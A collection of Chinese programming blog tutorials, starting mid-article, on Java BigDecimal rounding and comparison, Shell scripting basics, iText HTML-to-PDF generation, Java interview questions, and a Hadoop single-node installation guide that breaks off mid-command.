System.out.println("ROUND_HALF_UP: num2 / num1 = " + num2.divide(num1, 2, BigDecimal.ROUND_HALF_UP)); System.out.println("ROUND_HALF_DOWN: num2 / num1 = " + num2.divide(num1, 2, BigDecimal.ROUND_HALF_DOWN)); System.out.println("ROUND_HALF_EVEN: num2 / num1 = " + num2.divide(num1, 2, BigDecimal.ROUND_HALF_EVEN)); } } 运行的结果如下图所示从上图中我们看到 BigDecimal 具体使用方式,通过调用对应的方法再传入对应的参数即可。不过在进行除法运算的时候我们可以看到,divide 方法还提供了设置精确位数的参数,并且还可以设置具体的取整方式。取整方式有如下几种://绝对值向上取整,远离坐标抽 0 取整 public final static int ROUND_UP = 0; //绝对值向下取整,向着坐标城 0 取整 public final static int ROUND_DOWN = 1; //数值方向向上取整,向正无穷方向取整 public final static int ROUND_CEILING = 2; //数值方向向下取整,向负无穷方向取整 public final static int ROUND_FLOOR = 3; // >= 0.5 绝对值方向向上取整, < 0.5 绝对值方向向下取整 public final static int ROUND_HALF_UP = 4; // <= 0.5 绝对值方向向下取整, > 0.5 绝对值方向向上取整 public final static int ROUND_HALF_DOWN = 5; //舍入模式向“最近邻居”舍入,除非两个邻居等距,在这种情况下,向偶数邻居舍入。如果丢弃的分数左边的数字是奇数,则//行为与 RoundingMode.HALF_UP 相同;如果它是偶数,则表现为 RoundingMode.HALF_DOWN public final static int ROUND_HALF_EVEN = 6; public final static int ROUND_UNNECESSARY = 7;除了加减乘除已经方法之外 BigDecimal 也提供两个 BigDecimal 进行对比的方法 compareTo(),用法如下BigDecimal num1 = new BigDecimal("101"); BigDecimal num2 = new BigDecimal("102"); int i = num2.compareTo(num1); System.out.println(i); // 运行结果:1因为 num2 比 num1 数值大,所以返回值为 1;当 num2 与 num1 相等时返回 0;当 num2 小于 num1 时返回-1。总结格式如下int a = bigdemical.compareTo(bigdemical2); //a = -1,表示bigdemical小于bigdemical2; //a = 0,表示bigdemical等于bigdemical2; //a = 1,表示bigdemical大于bigdemical2;所以经常会用if (num2.compareTo(num1) > 0) 来进行判断操作。同时 BigDecimal 也提供直接转换为 int,long,float,double 数值的方法,如下所示,一般使用的情况相对较少。int i1 = num1.intValue(); long l = num1.longValue(); float v = num1.floatValue(); double v1 = num1.doubleValue(); short i2 = num1.shortValue(); byte b = num1.byteValue();在日常工作中需要精确的小数计算时使用 BigDecimal,BigDecimal 的性能比 double 和 float 相对较差,所以只有在需要的时候使用就好。BigDecimal 在每次进行加减乘除的时候都会创建一个新的对象,当后面需要使用的时候我们需要保存起来,通常情况我们尽量使用 String 类型的构造函数。
Shell 脚本Shell 脚本是什么?Shell是一个命令解释器,它的作用是解释执行用户输入的命令及程序等,也就是说,我们用户每输入一条命令,Shell 就会相对应的执行一条命令。当命令或程序语句不在命令行下执行,而是通过一个程序文件来执行时,该程序文件就被称为Shell脚本。在我们的 Shell 脚本中,会有各种各样的内容,赋值,计算,循环等一系列的操作,接下来我们就来看看这个 Shell 脚本怎么写吧1.查看自己当前系统默认的 Shellecho $SHELL输出:/bin/bash2.查看系统支持的Shellcat /etc/shells输出:/bin/sh /bin/bash /usr/bin/sh /usr/bin/bash也就是说,我们的云服务器是支持我们在这里给他安排 Shell 脚本的Shell 脚本怎么写出来的我们这时候先来安排一下 sh 的文件,创建一个文件夹,然后在其中创建一个 sh 的文件。mkdir /usr/local/shelltesttouch test.sh创建完成我们编辑一下内容vim test.sh#!/bin/bash echo "Hello World Shell"然后我们出来运行一下我们的 Shell 的第一个脚本bash test.sh出来的结果是 Hello World Shell一个及其简单的脚本出现了,接下我们就分析一波我们写了点啥?#!/bin/bash#! 是一个约定的标记,它告诉系统这个脚本需要什么解释器来执行,即使用哪一种 Shell我们在之前也使用了 echo $SHELL 来查看了自己系统默认的是哪一种 sh 解析器,之前看到的是/bin/bash,所以我们在写 Shell 脚本的时候,我们在开头默认的约定中,我们写了这个是用 /bin/bash 来进行解释的,那么我们如何像之前调用我们的当前目录中的 Shell 脚本一样去调用他呢?就像这个样子的 ./sh service.sh start1.授权,我们先不授权试一下看看能通过 ./test.sh 进行调用么bash: ./test.sh: Permission denied 会提示这个,也就是没有授权定义,授权命令:chmod +x test.sh2.执行 ./test.sh然后调用就能正常输出了,就是说,在当前的目录下执行这个脚本命令。Shell 脚本的变量定义变量和使用变量命名实际上很简单,我们先来试一下name=zhiyikeji这时候我们怎么使用变量呢?实际上只要在前面加上一个符号就可以 $echo $name[root@iZbp10j01t7sgfqekyefpoZ ~]# echo $name zhiyikeji[root@iZbp10j01t7sgfqekyefpoZ ~]# echo ${name} zhiyikeji上面的两种写法都是可以的,外面的大括号加和不加区别不大,可以省略,直接就$name 就可以使用你定义的变量使用括号的意义一般在于区别某些变量,比如你写了一串的内容,可能写的是 echo $nameismyfriend,如果连在一起,是不是有点尴尬,这时候就可以使用括号区别一下,echo ${name}ismyfriend 不使用括号的时候,他就去找nameismyfriend这个变量了,就无法出来我们要的效果。删除自己定义的变量unset name这时候我们就把我们刚才定义的 name=zhiyikeji 这个变量给去掉了,我们可以调用一下我们的变量看是什么?echo $name[root@iZbp10j01t7sgfqekyefpoZ ~]# unset name [root@iZbp10j01t7sgfqekyefpoZ ~]# echo $name这是不是就证明我们自己定义的变量已经删除了只读变量那么我们需要一个关键字,大家肯定能想到是什么关键字 readonly我们先给name赋值,然后使用 readonly 设置只读,然后再改变一下试试,[root@iZbp10j01t7sgfqekyefpoZ ~]# name=zhiyikeji [root@iZbp10j01t7sgfqekyefpoZ ~]# echo $name zhiyikeji [root@iZbp10j01t7sgfqekyefpoZ ~]# readonly name [root@iZbp10j01t7sgfqekyefpoZ ~]# echo $name zhiyikeji [root@iZbp10j01t7sgfqekyefpoZ ~]# name=ceshi -bash: name: readonly variable [root@iZbp10j01t7sgfqekyefpoZ ~]#竟然是真的,如果不设置只读,是不是会重新可以进行赋值,我们测试个年龄,[root@iZbp10j01t7sgfqekyefpoZ ~]# age=10 [root@iZbp10j01t7sgfqekyefpoZ ~]# echo $age 10 [root@iZbp10j01t7sgfqekyefpoZ ~]# age=20 [root@iZbp10j01t7sgfqekyefpoZ ~]# echo $age 20所以我们就可以肯定,readonly就是设置只读的关键词,记住了么?那么设置只读的变量可以删除么?毕竟总有杠精的面试官会提问这个棘手的问题,但是,阿粉试过的所有方式好像都是不行的,阿粉就直接重启了自己的服务器,这样临时的变量就不存在了!Shell 脚本的流程控制说真的,Shell脚本的流程控制数一般才是yyds,为什么这么说,因为你在写大部分的脚本的时候,流程控制的地方永远是最多的,判断,选择,等等一系列的函数,当时熟练使用的时候,就发现这东西确实很有意思。IF我们先说最简单的 if else 这也是我们最经常使用的判断,在写 Shell 脚本的时候,就不像我们的 Java 中直接写if(...){ }else{ .... }Xshell 中的语法就不是这个样子的,Xshell语法:if ... then ... else ... fi末尾的 fi 就是 if 倒过来拼写,我们可以写一个 if 的脚本试一下这个流程能否理解。#! /bin/bash if [ $1 -gt 2 ]; then echo "值大于2" else echo "值小于2" exit fi这里申明一下,-ge标识的是大于等于符号;-le表示的是小于等于符号;-gt 表示大于符号;-lt 表示小于符号;-eq 表示等于符号;-ne 表示不等于符号;我们在上面这段脚本中写就是内容就是,我们给脚本传入一个值,然后比对这个值和2的大小关系,然后输出我们指定的内容。运行后就能看到[root@iZbp10j01t7sgfqekyefpoZ shelltest]# sh test2.sh 1 值小于2 [root@iZbp10j01t7sgfqekyefpoZ shelltest]# sh test2.sh 3 值大于2$1 表示我们给 Shell 脚本输入的第一个参数, $0就是你写的shell脚本本身的名字,$2 是我们给 Shell 脚本传的第二个参数大家在部署某些项目的时候,是不是启动命令就很简洁,就是 sh service.sh start 类似这种的,那我们来看看一般这种是怎么写的,这就用到了另外一块的内容,和 if 类似,在 Java 中也有,那就是 Case.Case我们先来看看 Case 的语法,case ... esac 实际上就和 Java 中的 Case 是非常相似的,case 语句匹配一个值与一个模式,如果匹配成功,执行相匹配的命令.esac是一个结束的标志。case 值 in 匹配值1) command1 command2 ;; 匹配值2) command1 command2 ;; esac光说不练,假把式,我们来搞一下试试写一个脚本来搞一下。就用我们刚才说的 sh servic.sh start 来进行测试。case $1 in start) #输出启动命令 echo "start已经开始" ;; stop) #输出停止命令 echo "stop命令执行" ;; esac exit我们来看看运行结果[root@iZbp10j01t7sgfqekyefpoZ shelltest]# sh service.sh start start已经开始 [root@iZbp10j01t7sgfqekyefpoZ shelltest]# sh service.sh stop stop命令执行那么这段 Shell 脚本是什么意思呢?其实很简单,匹配我们传入的第一个字符,和 start 还有 stop 进行比较,如果匹配上之后,输出命令,最后退出即可。是不是感觉没有那么复杂了呢?For说到流程控制,那么肯定不能不说 for , 毕竟 for 循环在 Java 中那可是重头戏。我们先看他的格式for i in item1 item2 ... itemN do command1 command2 ... commandN done那么我们有没有说像是 Java 中那种 for 循环一样的方式呢?比如说这个for ((i=1; i<=j; i++))实际上也是支持这种的,我们来写一个试试。j=$1 for ((i=1;i<=j;i++)) do echo $i done执行一下看看[root@iZbp10j01t7sgfqekyefpoZ shelltest]# sh fortest.sh 6 1 2 3 4 5 6既然有 for 那是不是就有 while 呢?是的,没错,确实是有 while ,也是循环的意思,但是写法有略微不一样的地方Whilewhile condition do command done我们来举个尝试打印九九乘法表来看一下a=1 b=1 while ((a <=9)) do while ((b<=a)) do let "c=a*b" #声明变量c echo -n "$a*$b=$c " let b++ done let a++ let b=1 #因为每个乘法表都是1开始乘,所以b要重置 echo "" #显示到屏幕换行 done[root@iZbp10j01t7sgfqekyefpoZ shelltest]# sh whileTest.sh 1*1=1 2*1=2 2*2=4 3*1=3 3*2=6 3*3=9 4*1=4 4*2=8 4*3=12 4*4=16 5*1=5 5*2=10 5*3=15 5*4=20 5*5=25 6*1=6 6*2=12 6*3=18 6*4=24 6*5=30 6*6=36 7*1=7 7*2=14 7*3=21 7*4=28 7*5=35 7*6=42 7*7=49 8*1=8 8*2=16 8*3=24 8*4=32 8*5=40 8*6=48 8*7=56 8*8=64 9*1=9 9*2=18 9*3=27 9*4=36 9*5=45 9*6=54 9*7=63 9*8=72 9*9=81是不是也挺简单的?其实 Shell 脚本的编写一般都是在实际应用中提升,单纯的写测试脚本,也是可以让自己对知识的掌握比较充分,而我们一般都是写一些比较简单的脚本,复杂的不是还有运维么?
一、介绍在实际的业务开发的时候,研发人员往往会碰到很多这样的一些场景,需要提供相关的电子凭证信息给用户,例如网银/支付宝/微信购物支付的电子发票、订单的库存打印单、各种电子签署合同等等,以方便用户查看、打印或者下载。例如下图的电子发票!熟悉这块业务的童鞋,一定特别清楚,目前最常用的解决方案是:把相关的数据信息,通过一些技术手段生成对应的 PDF 文件,然后返回给用户,以便预览、下载或者打印。不太熟悉这项技术的童鞋,也不用着急,今天我们一起来详细了解一下在线生成 PDF 文件的技术实现手段!二、案例实现在介绍这个代码实践之前,我们先来了解一下这个第三方库:iText,对,没错,它就是我们今天的主角。iText是著名的开放源码站点sourceforge一个项目,是用于生成PDF文档的一个java类库,通过iText不仅可以生成PDF或rtf的文档,而且还可以将XML、Html文件转化为PDF文件。iText目前有两套版本,分别是iText5和iText7。iText5应该是网上用的比较多的一个版本。iText5因为是很多开发者参与贡献代码,因此在一些规范和设计上存在不合理的地方。iText7是后来官方针对iText5的重构,两个版本差别还是挺大的。不过在实际使用中,一般用到的都比较简单的 API,所以不用特别拘泥于使用哪个版本。2.1、添加 iText 依赖包在使用它之前,我们先引人相关的依赖包!<dependencies> <!-- pdf:start --> <dependency> <groupId>com.itextpdf</groupId> <artifactId>itextpdf</artifactId> <version>5.5.11</version> </dependency> <dependency> <groupId>com.itextpdf.tool</groupId> <artifactId>xmlworker</artifactId> <version>5.5.11</version> </dependency> <!-- 支持中文 --> <dependency> <groupId>com.itextpdf</groupId> <artifactId>itext-asian</artifactId> <version>5.2.0</version> </dependency> <!-- 支持css样式渲染 --> <dependency> <groupId>org.xhtmlrenderer</groupId> <artifactId>flying-saucer-pdf-itext5</artifactId> <version>9.1.16</version> </dependency> <!-- 转换html为标准xhtml包 --> <dependency> <groupId>net.sf.jtidy</groupId> <artifactId>jtidy</artifactId> <version>r938</version> </dependency> <!-- pdf:end --> </dependencies>2.2、简单实现老规矩,我们先来一个hello world,代码如下:public class CreatePDFMainTest { public static void main(String[] args) throws Exception { Document document = new Document(PageSize.A4); //第二步,创建Writer实例 PdfWriter.getInstance(document, new FileOutputStream("hello.pdf")); //创建中文字体 BaseFont bfchinese = BaseFont.createFont("STSong-Light", "UniGB-UCS2-H", BaseFont.NOT_EMBEDDED); Font fontChinese = new Font(bfchinese, 12, Font.NORMAL); //第三步,打开文档 document.open(); //第四步,写入内容 Paragraph paragraph = new Paragraph("hello world", fontChinese); document.add(paragraph); //第五步,关闭文档 document.close(); } }打开hello.pdf文件,内容如下!2.3、复杂实现在实际的业务开发中,因为业务场景非常复杂,而且变化快,我们往往不会采用上面介绍的写入内容方式来生成文件,而是采用HTML文件转化为PDF文件。例如下面这张入库单!我们应该如何快速实现呢?首先,我们采用html语言编写一个入库单页面,将其命令为printDemo.html,源代码如下:<html> <head></head> <body> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>出库单</title> <div> <div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tbody> <tr> <td height="40" colspan="2"><h3 style="font-weight: bold; text-align: center; letter-spacing: 5px; font-size: 24px;">入库单</h3></td> <td width="12%" height="20" rowspan="2"> <img style="width: 105px;height: 105px;" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAH0AAAB9AQAAAACn+1GIAAAAqElEQVR42u3VMQ7DMAwDQP6A//8lx24qKRRw0s1yu8Uw4OQGIaHsBHUfLzzwAxCAInoZg6dI9dUUBIOyHEG56CmodAaxwtfbboLTVWpeU9+EDAH37m9CmkTYxDGUE0agMIakk3y4Ut8G37iom02M4bPniHWAtqFDTjjSGLrZvXAOmTnL1124C73r6Yo8Ane61k6eQeVjIM2h482D1RwScrpNjuH5R/0b3s6ZZNyKlt3iAAAAAElFTkSuQmCC" /> </td> </tr> <tr> <td width="50%" height="30">操作人:xxx</td> <td width="50%" height="30" colspan="2">创建时间:2021-09-14 12:00:00</td> </tr> </tbody> </table> </div> <div style="margin-top: 5px; margin-bottom: 6px; margin-left: 4px"></div> <div> <table width="100%" style="border-collapse: collapse; border-spacing: 0;border:0px;"> <tr style="height: 25px;"> <td style="background: #eaeaea; text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000;" width="10%">序号</td> <td style="background: #eaeaea; text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000;" width="30%">商品</td> <td style="background: #eaeaea; text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000;" width="30%">单位</td> <td style="background: #eaeaea; text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000; border-right: 1px solid #000000;" width="30%">数量</td> </tr> <tr> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000;">1</td> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000;">xxx沐浴露</td> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000;">箱</td> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000; border-right: 1px solid #000000;">3</td> </tr> <tr> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000;">2</td> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000;">xxx洗发水</td> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000;">箱</td> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000; border-right: 1px solid #000000;">4</td> </tr> <tr> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000;">3</td> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000;">xxx洗衣粉</td> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000;">箱</td> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000; border-right: 1px solid #000000;">5</td> </tr> <tr> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000; border-bottom: 1px solid #000000;">4</td> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000; border-bottom: 1px solid #000000;">xxx洗面奶</td> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000; border-bottom: 1px solid #000000;">箱</td> <td style="text-align: center; border-left: 1px solid #000000; border-top: 1px solid #000000; border-right: 1px solid #000000; border-bottom: 1px solid #000000;">5</td> </tr> </table> </div> </div> </body> </html>接着,我们将html文件转成PDF文件,源码如下:public class CreatePDFMainTest { /** * 创建PDF文件 * @param htmlStr * @throws Exception */ private static void writeToOutputStreamAsPDF(String htmlStr) throws Exception { String targetFile = "pdfDemo.pdf"; File targeFile = new File(targetFile); if(targeFile.exists()) { targeFile.delete(); } //定义pdf文件尺寸,采用A4横切 Document document = new Document(PageSize.A4, 25, 25, 15, 40);// 左、右、上、下间距 //定义输出路径 PdfWriter writer = PdfWriter.getInstance(document, new FileOutputStream(targetFile)); PdfReportHeaderFooter header = new PdfReportHeaderFooter("", 8, PageSize.A4); writer.setPageEvent(header); writer.addViewerPreference(PdfName.PRINTSCALING, PdfName.NONE); document.open(); // CSS CSSResolver cssResolver = new StyleAttrCSSResolver(); CssAppliers cssAppliers = new CssAppliersImpl(new XMLWorkerFontProvider(){ @Override public Font getFont(String fontname, String encoding, boolean embedded, float size, int style, BaseColor color) { try { //用于中文显示的Provider BaseFont bfChinese = BaseFont.createFont("STSongStd-Light", "UniGB-UCS2-H", BaseFont.NOT_EMBEDDED); return new Font(bfChinese, size, style); } catch (Exception e) { return super.getFont(fontname, encoding, size, style); } } }); //html HtmlPipelineContext htmlContext = new HtmlPipelineContext(cssAppliers); htmlContext.setTagFactory(Tags.getHtmlTagProcessorFactory()); htmlContext.setImageProvider(new AbstractImageProvider() { @Override public Image retrieve(String src) { //支持图片显示 int pos = src.indexOf("base64,"); try { if (src.startsWith("data") && pos > 0) { byte[] img = Base64.decode(src.substring(pos + 7)); return Image.getInstance(img); } else if (src.startsWith("http")) { return Image.getInstance(src); } } catch (BadElementException ex) { return null; } catch (IOException ex) { return null; } return null; } @Override public String getImageRootPath() { return null; } }); // Pipelines PdfWriterPipeline pdf = new PdfWriterPipeline(document, writer); HtmlPipeline html = new HtmlPipeline(htmlContext, pdf); CssResolverPipeline css = new CssResolverPipeline(cssResolver, html); // XML Worker XMLWorker worker = new XMLWorker(css, true); XMLParser p = new XMLParser(worker); p.parse(new ByteArrayInputStream(htmlStr.getBytes())); document.close(); } /** * 读取 HTML 文件 * @return */ private static String readHtmlFile() { StringBuffer textHtml = new StringBuffer(); try { File file = new File("printDemo.html"); BufferedReader reader = new BufferedReader(new FileReader(file)); String tempString = null; // 一次读入一行,直到读入null为文件结束 while ((tempString = reader.readLine()) != null) { textHtml.append(tempString); } reader.close(); } catch (IOException e) { return null; } return textHtml.toString(); } public static void main(String[] args) throws Exception { //读取html文件 String htmlStr = readHtmlFile(); //将html文件转成PDF writeToOutputStreamAsPDF(htmlStr); } }运行程序,打开pdfDemo.pdf,结果如下!2.4、变量替换方式上面的html文件,是我们事先已经编辑好的,才能正常渲染。但是在实际的业务开发的时候,例如下面的商品内容,完全是动态的,还是xxx-202109入库单的名称,以及二维码,都是动态的。这个时候,我们可以采用freemarker模板引擎,通过定义变量来动态填充内容,直到转换出来的结果就是我们想要的html页面。当然,还有一种办法,例如下面这个,我们也可以在html页面里面定义${name}变量,然后在读取完文件之后,我们将其变量进行替换成我们想填充的任何值,这其实也是模板引擎最核心的一个玩法。<html> <head> <meta charset="utf-8"> <title></title> </head> <body> <div>您好:${name}</div> <div>欢迎,登录博客网站</div> </body> </html>三、总结itext框架是一个非常实用的第三方pdf文件生成库,尤其是面对比较简单的pdf文件内容渲染的时候,它完全满足我们的需求。但是对于那种复杂的pdf文档,可能需要我们自己单独进行适配开发。具体的深度玩法,大家可以参阅itext官方API。鉴于笔者才疏学浅,难免会有理解不到位的地方,欢迎网友批评指出!四、参考1、博客园 - JAVA使用ItextPDF
Java面试问了这些1.基础知识之 ArrayList 和 LinkedList 使用性能对比。实际上这个问题就是非常基础的,实际上面试官就是想问你,二者的数据结构是什么样子的,以及他们各自适用于什么样子的场景上。阿粉的回答就是从这开始入手,然后开始回答面试官的问题。ArrayList和LinkedList都是实现了Collection和List接口。ArrayList 底层实际上是大小可变数组的实现,并允许包括 null 在内的所有元素,还提供一些方法来操作内部用来存储列表的数组的大小。LinkedList 底层就是链表的结构实现,并且允许所有元素(包括 null)LinkedList 类还为在列表的开头及结尾get、remove 和insert 元素提供了统一的命名方法。这个时候我们就能从数组和链表的不同来分析性能的比较了,毕竟这都是老生常谈,数组结构查询速度快,添加和删除操作慢,而相对的链表结构,查询速度相对来说比较慢,而添加和删除操作比较快。一般这个答案都是面试官需要的,也有面试官会问你,为什么查询数组就快,链表就慢,这个就涉及到底层的知识了,如果不会,那么肯定只能说,自己写过测试用例,实际对比的,这确实没错,但是肯定不是面试官想要的答案,面试官想要的答案都是:针对查询操作来说,在数组中,只需对 [基地址+元素大小*k] 就能找到第k个元素的地址,对其取地址就能获得该元素, 而链表要获得第k个元素,首先要在其第k-1个元素寻找到其next指针偏移,再将next指针作为地址获得值, 这样就要从第一个元素找起,多了多步寻址操作,寻址操作次数链表要多一些。如果你能回答出类似这种方式的答案,一般面试官就放过你了,阿粉面试的时候,十次有九次都是这种,说到这里之后,这个问题就简单的结束了,面试官也就不再进行深挖了。2.JVM的垃圾回收机制这么说比较笼统。能够细致问出来的问题就是那些,OOM可能发生在哪些区域上?堆内存结构是怎么样的?Minor Gc和Full GC 有什么不同?一般出来的问题都是根据这几种的来回变换的,万变不离其宗,阿粉遇到的面试问这个的,大部分都是问的 Minor Gc和Full GC 有什么不同?Minor Gc和Full GC 有什么不同Minor GC :发生新生代的的垃圾收集动作,Minor GC非常频繁,回收速度一般也比较快Full GC :发生在老年代的GC,出现了Major GC经常会伴随至少一次的Minor GC(并非绝对),Major GC的速度一般会比Minor GC的慢10倍以上然后我们就开始我们对垃圾回收机制的表演就行了,这个要是拆开了说,那可就太多了,如果大家有想深入了解的,阿粉已经准备好了 面试大全PDF 送给大家,大家在后台回复 java极客技术PDF 就可以获取到由阿粉精心为大家准备的内容。3.你们项目中 Redis 是怎么用的。如果面试官问出了这块的内容,实际上就是考察 Redis 的一些特性了,比如你们使用 Redis 实现分布式锁,那么实现分布式锁的必要性在哪里。还有如果你们使用了 Redis 做分布式数据缓存,那么必然导致 Redis 和数据库双写一致性问题,这些问题如果你开始回答了,那就就会掉进一些坑里面,比如说Redis 和数据库双写一致性问题,这玩意阿粉之前面试的时候被问到过,最终的解决方案也就是保证了最终一致性,如果对数据有强一致性要求,不能放缓存。我们所做的一切,只能保证最终一致性。就这么简单。面试官大致就问了一些这么基础的内容,剩下的都是项目中的了,阿粉就不再给大家赘述了,但是接下来,阿粉就开始被面试官疯狂 diss 了,阿粉在自己的简历上面,写了一句话,了解大数据的相关知识。比如 Hadoop , MapReduce,这些东西,面试官有点感兴趣,就开始了无情的追问。关于大数据的面试悲剧面试官:我看你简历上写了了解大数据的相关内容是么?阿粉朋友:是呀,因为做了好几年的开发了,总想着也学习一下这块的内容啥的。面试官:那你说说你了解的这些内容吧。阿粉朋友:了解的哪些内容?面试官:就你在简历上写的这几个,Hadoop,MapReduce,还有就HDFS。这时候阿粉朋友心中一万个 ZZ 飘过,这东西咋说,说自己安装?搭建?还是啥,但是这时候也不能慌呀,毕竟也算是自己学习过一点的,虽然没有正式在项目中使用过,于是阿粉朋友就开始说:Hadoop项目结构实际上由很多个组成部分,像我在简历中写的,HDFS 分布式文件系统,MapReduce 分布式并行编程模型,YARN 资源管理和调度器,Hive 数据仓库,还有就是 HBase 非关系型数据库,HDFS三个核心组件是 NameNode,DataNode,SecondaryNameNode,比如说 NameNode 是集群的核心, 是整个文件系统的管理节点也是维护者,DataNode 存放具体数据块的节点, 主要负责数据的读写, 定期向 NameNode 发送心跳,而 SecondaryNameNode 算是辅助节点, 同步NameNode中的元数据信息。然后面试官就开始打断我了,就对阿粉说,这块内容在实际的工作中,你用过么?阿粉朋友的回答的也确实是没有用过这块,自己只是在工作之余,利用业余的时间去学习了一下有关这方面的内容,扩充一下自己的知识面,接下来面试官就好像盯着阿粉不是很了解这块的内容就开始了无情的发问。1.NameNode 的工作机制你了解么?阿粉朋友回答:主要分为了2个阶段,第一阶段是 NameNode 启动,第二阶段是 Secondary NameNode 工作,然后简单细说了一下,于是面试官给阿粉的朋友纠正了一些不合适的地方。2.正常工作的hadoop集群中hadoop都需要启动哪些进程这阿粉的朋友因为没有在工作中使用过,于是说了不知道,面试官就开始说起了这块的内容,最后在面试结束的时候,就说了一句,这就是你自学的这块的内容?当阿粉听到面试官有说这句话的时候,是不是就是有点过分的含义,毕竟人家只是自学的,也没有实际的开发经验,就算学的不怎么样,也没必要这么过分不是么?也可能是面试官确实会这块的内容,但是阿粉听到这里实际上就已经开始听不下去了,毕竟你是面试官,你的主要内容是不是应该面试,毕竟人家面试的是 Java 开发,也不算是大数据工程师,你直接给“整活”,是不是有点不太好。于是阿粉也劝了自己的这个朋友,尽管这个面试可能面试不上,但是不要放弃,毕竟大部分的面试官对这个东西还是不看重的,毕竟你只是说了自己在开发的过程中自己学习的,只是了解,也不是专门做大数据的,即使你回答的不好,也不能打击到你的自信心,影响你接下来的面试不是吗?马上金九银十面试季就要来到了,又到了一个跳槽的好月份,大家都准备好了么?如果没有准备好,那么就赶紧回复 java极客技术PDF 获取最新的面试题,找个高薪的工作吧。
准备工作1.我们首先可以去阿里云或者华为云去租用一台服务器,毕竟一个初级版本的服务器,也没有那么贵,阿粉还是用的之前租用的那台,我们选择安装 Linux8 的版本,如果是本机的话,你需要下载 CentOS8 的镜像,然后通过虚拟机安装到 VM 上就可以了,安装完成我们就可以开始安装 Hadoop 了我们先说说 Hadoop 都能干啥,以及人们经常对 Hadoop 误解。Hadoop主要是分布式计算和存储的框架,所以Hadoop工作过程主要依赖于HDFS(Hadoop Distributed File System)分布式存储系统和Mapreduce分布式计算框架。但是很多人就会对 Hadoop 产生一个误解,有些非常捧 Hadoop 的人就会说,Hadoop 什么东西都可以做,实际上不是的,每一项技术的出现,都是对应着解决不同的问题的,比如我们接下来要学习的 Hadoop 。Hadoop适合来做数据分析,但是绝对不是 BI ,传统 BI 是属于数据展现层(Data Presentation),Hadoop就是专注在半结构化、非结构化数据的数据载体,跟BI是不同层次的概念。还有人说 Hadoop 就是 ETL ,就相当于数据处理,但是,Hadoop 并不是一个绝对意义上的 ETL 。安装 Hadoop 教程1.安装SSHyum install openssh-serverOpenSSH是Secure Shell的一个开源实现,OpenSSH Server安装完成后在/etc/init.d目录下应该会增加一个名为sshd的服务,一会我们就要把生成的密钥放到指定位置,然后用来当作之后的身份验证。2.安装 rsyncyum -y install rsync3.产生 SSH 密钥之后继续进行后续的身份验证ssh-keygen -t dsa -P '' -f ~/.ssh/id_dsa4.把产生的密钥放入许可文件中cat ~/.ssh/id_dsa.pub >> ~/.ssh/authorized_keys安装Hadoop安装 Hadoop 之前我们要先把 JDK 安装好,配置好环境变量,出现下面这个样子,就说明 JDK 已经安装完成了。1.解压Hadoop我们先要把 Hadoop 放到我们的服务器上,就像阿粉这个样子,然后解压 tar zxvf hadoop-3.3.1.tar.gz2.修改bashrc文件vim ~/.bashrcexport JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64/ export HADOOP_HOME=/usr/local/hadoop export PATH=$PATH:$HADOOP_HOME/bin export PATH=$PATH:$HADOOP_HOME/sbin export HADOOP_MAPRED_HOME=$HADOOP_HOME export HADOOP_COMMON_HOME=$HADOOP_HOME export HADOOP_HDFS_HOME=$HADOOP_HOME export YARN_HOME=$HADOOP_HOME export HADOOP_COMMON_LIB_NATIVE_DIR=$HADOOP_HOME/lib/native export HADOOP_OPTS="-DJava.library.path=$HADOOP_HOME/lib" export JAVA_LIBRARY_PATH=$HADOOP_HOME/lib/native:$JAVA_LIBRARY_PATH复制到文件中保存退出3.生效文件source ~/.bashrc4.修改配置文件 etc/hadoop/core-site.xml<property> <name>fs.defaultFS</name> <value>hdfs://localhost:9000</value> </property> <!-- 缓存存储路径 --> <property> <name>hadoop.tmp.dir</name> <value>/app/hadooptemp</value> </property>5.修改 etc/hadoop/hdfs-site.xml<!-- 默认为3,由于是单机,所以配置1 --> <property> <name>dfs.replication</name> <value>1</value> </property> <!-- 配置http访问地址 --> <property> <name>dfs.http.address</name> <value>0.0.0.0:9870</value> </property>6.修改 etc/hadoop/hadoop-env.shexport JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el7_6.x86_647.修改etc/hadoop/yarn-env.sh文件export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.212.b04-0.el7_6.x86_648.修改sbin/stop-dfs.sh文件,在顶部增加HDFS_NAMENODE_USER=root HDFS_DATANODE_USER=root HDFS_SECONDARYNAMENODE_USER=root YARN_RESOURCEMANAGER_USER=root YARN_NODEMANAGER_USER=root修改sbin/start-dfs.sh文件,在顶部增加HDFS_NAMENODE_USER=root HDFS_DATANODE_USER=root HDFS_SECONDARYNAMENODE_USER=root YARN_RESOURCEMANAGER_USER=root YARN_NODEMANAGER_USER=root9-1.修改start-yarn.sh 文件YARN_RESOURCEMANAGER_USER=root HADOOP_SECURE_DN_USER=yarn YARN_NODEMANAGER_USER=root9-2.修改stop-yarn.sh文件YARN_RESOURCEMANAGER_USER=root HADOOP_SECURE_DN_USER=yarn YARN_NODEMANAGER_USER=root上面的这些命令主要是用于当你启动 Hadoop 的时候,会提示认证不通过。10.格式化,进入hadoop的bin文件夹,执行下面的命令./hdfs namenode 